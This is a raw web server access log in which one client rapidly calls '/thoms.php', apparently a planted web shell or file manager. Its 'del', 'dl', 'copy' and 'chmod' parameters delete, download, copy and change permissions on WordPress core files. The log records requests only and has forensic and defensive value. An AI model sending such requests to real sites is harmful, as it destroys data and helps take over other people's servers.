45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?del=class-simplepie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-simplepie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22208 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=plugin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22205 "https://163.245.207.76:443/thoms.php?del=class-simplepie.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?dl=functions.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=functions.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-settings.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=functions.wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-snoopy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-snoopy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?chmod=class-wp-block-type-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22272 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-snoopy.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22049 "https://163.245.207.76:443/thoms.php?chmod=class-wp-block-type-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?chmod=class-wp-http-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?chmod=class-wp-network-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-network-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22265 "https://163.245.207.76:443/thoms.php?chmod=class-wp-http-response.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?chmod=class-wp-network-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?dl=class-wp-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?del=class-wp-recovery-mode-link-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-link-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-link-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:26 -0400] "GET /thoms.php?dl=class-wp-simplepie-file.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-file.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=post-template.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=post-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22185 "https://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-file.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=post-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?dl=class-phpmailer.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-phpmailer.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?del=class-wp-metadata-lazyloader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-metadata-lazyloader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=class-phpmailer.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-metadata-lazyloader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?chmod=class-wp-theme-json-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=revision.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-data.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=revision.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=style-engine.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=style-engine.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fvars.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fvars.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22238 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=style-engine.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22270 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fvars.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?del=rest-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=rest-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?chmod=class-wp-block-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?del=rest-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=class-wp-block-type.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:27 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=nav-menu-template.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=nav-menu-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?chmod=interactivity-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=interactivity-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=nav-menu-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22272 "https://163.245.207.76:443/thoms.php?chmod=interactivity-api&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?dl=class-wp-block-bindings-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22312 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block-pattern-categories-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=script-loader.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=script-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22110 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=script-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/wordpress-6.6.2-zh_TW/wp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?dl=cache-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=cache-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=cache-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?del=capabilities.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=capabilities.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-pop3.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-pop3.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?del=class-wp-http-streams.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-http-streams.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=capabilities.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-pop3.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?del=class-wp-http-streams.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:28 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-locale-switcher.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-locale-switcher.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-locale-switcher.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?del=class-wp-widget-factory.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-widget-factory.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcss&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-widget-factory.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22193 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fblock-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:29 -0400] "GET /thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-classic-to-block-menu-converter.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
